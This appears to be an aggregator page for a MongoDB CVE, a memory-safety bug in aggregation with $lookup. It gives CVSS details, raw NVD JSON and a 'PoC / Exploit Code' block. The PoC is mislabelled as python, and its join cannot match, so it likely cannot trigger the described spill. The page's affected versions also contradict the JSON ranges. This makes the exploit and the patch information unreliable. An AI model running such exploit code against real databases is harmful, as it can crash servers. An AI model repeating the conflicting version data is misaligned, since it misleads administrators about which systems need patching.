Security Vulnerability Report
中文
CVE-2026-4358 CVSS 6.4 MEDIUM

CVE-2026-4358

Published: 2026-03-17 20:16:15
Last Modified: 2026-04-02 12:16:02

Description

A specially crafted aggregation query with $lookup by an authenticated user with write privileges can cause a double-free or use-after-free memory issue in the slot-based execution (SBE) engine when an in-memory hash table is spilled to disk.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:mongodb:mongodb:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:mongodb:mongodb:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:mongodb:mongodb:*:*:*:*:-:*:*:* - VULNERABLE
MongoDB Server 7.0.x < 7.0.14
MongoDB Server 7.1.x < 7.1.6
MongoDB Server 8.0.x < 8.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-4358 PoC - MongoDB Server $lookup Double-Free/Use-After-Free // Requires: authenticated user with write privileges // Setup test collection db.createCollection('test_collection'); db.test_collection.insertMany([ { _id: 1, name: 'document1', ref_id: 'A' }, { _id: 2, name: 'document2', ref_id: 'B' }, { _id: 3, name: 'document3', ref_id: 'C' } ]); // Setup lookup target collection with many documents to trigger hash spill db.createCollection('lookup_target'); for (let i = 0; i < 100000; i++) { db.lookup_target.insertOne({ _id: i, value: 'value_' + i }); } // Malicious aggregation query to trigger double-free // The $lookup with large result set triggers memory hash table spill const maliciousPipeline = [ { $match: { ref_id: { $in: ['A', 'B', 'C'] } } }, { $lookup: { from: 'lookup_target', localField: 'ref_id', foreignField: '_id', as: 'joined_data' }}, { $unwind: '$joined_data' }, { $group: { _id: '$_id', data: { $push: '$joined_data' } }} ]; // Execute the malicious aggregation db.test_collection.aggregate(maliciousPipeline); // Note: This PoC demonstrates the vulnerability concept. // Actual exploitation requires specific conditions and may cause server crash.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4358", "sourceIdentifier": "[email protected]", "published": "2026-03-17T20:16:15.030", "lastModified": "2026-04-02T12:16:02.273", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A specially crafted aggregation query with $lookup by an authenticated user with write privileges can cause a double-free or use-after-free memory issue in the slot-based execution (SBE) engine when an in-memory hash table is spilled to disk."}, {"lang": "es", "value": "Una consulta de agregación especialmente diseñada con $lookup por un usuario autenticado con privilegios de escritura puede causar un problema de memoria de doble liberación o uso después de liberación en el motor de ejecución basado en ranuras (SBE) cuando una tabla hash en memoria se vuelca a disco."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:*:*:*:*:-:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.31", "matchCriteriaId": "20BB1767-F789-4A09-BB6F-00B535AEDC02"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:*:*:*:*:-:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.20", "matchCriteriaId": "343C4216-8507-44B6-B692-7A7B66455402"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:*:*:*:*:-:*:*:*", "versionStartIncluding": "8.2.0", "versionEndExcluding": "8.2.6", "matchCriteriaId": "5A773422-F80B-477C-BD39-1DE25E94BADD"}]}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-118849", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}